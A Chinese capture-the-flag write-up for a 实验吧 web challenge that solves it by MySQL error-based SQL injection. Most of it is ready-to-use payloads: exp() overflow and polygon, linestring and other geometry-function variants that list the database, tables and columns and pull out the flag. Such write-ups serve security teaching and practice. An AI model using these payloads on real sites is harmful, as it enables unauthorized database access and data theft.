实验吧 WEB 简单的SQL注入3
思路
输入floor、extractvalue、updatexml,提示Don’t。输入polygon、exp等均无此提示。下面使用exp报错注入解题。本题还可以使用MySQL报错注入总结中提到的后7个报错注入中的任意一个求解,payload构造的方法大同小异。
得到数据库名web1
//%23表示#,即注释掉该行后面的语句
?id='or exp(~(select*from(select database())x));%23
得到表名flag,web_1
?id='or exp(~(Select * From (select group_concat(table_name) from information_schema.tables where table_schema=database())x));%23
得到列名flag,id
?id='or exp(~(Select * From (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag')x));%23
得到flag
?id='or exp(~(Select * From (select flag from flag)x));%23
小结
⚪ exp()函数是mysql中的一个数学函数,当传递一个大于709的值时,函数exp()就会引起一个溢出错误。
⚪ mysql中函数成功执行后返回0。
⚪ group_concat函数用法示例:
以id分组,把price字段的值在同一行打印出来,逗号分隔(默认)
select id, group_concat(price) from goods group by id;
⚪本题还可以使用MySQL报错注入总结中提到的其他后7个中的报错注入来做。下面给出payload。
//使用polygon报错注入的完整payload
?id='or polygon((select * from(select * from(select database())a)b));%23
?id='or polygon((select * from(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a)b));%23
?id='or polygon((select * from(select * from(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag')a)b));%23
?id='or polygon((select * from(select * from(select flag from flag)a)b));%23
//使用其他5个报错注入方法得到数据库名的payload
?id='or geometrycollection((select * from(select * from(select database())a)b));%23
?id='or linestring((select * from(select * from(select database())a)b));%23
?id='or multilinestring((select * from(select * from(select database())a)b));%23
?id='or multipolygon((select * from(select * from(select database())a)b));%23
?id='or multipoint((select * from(select * from(select database())a)b));%23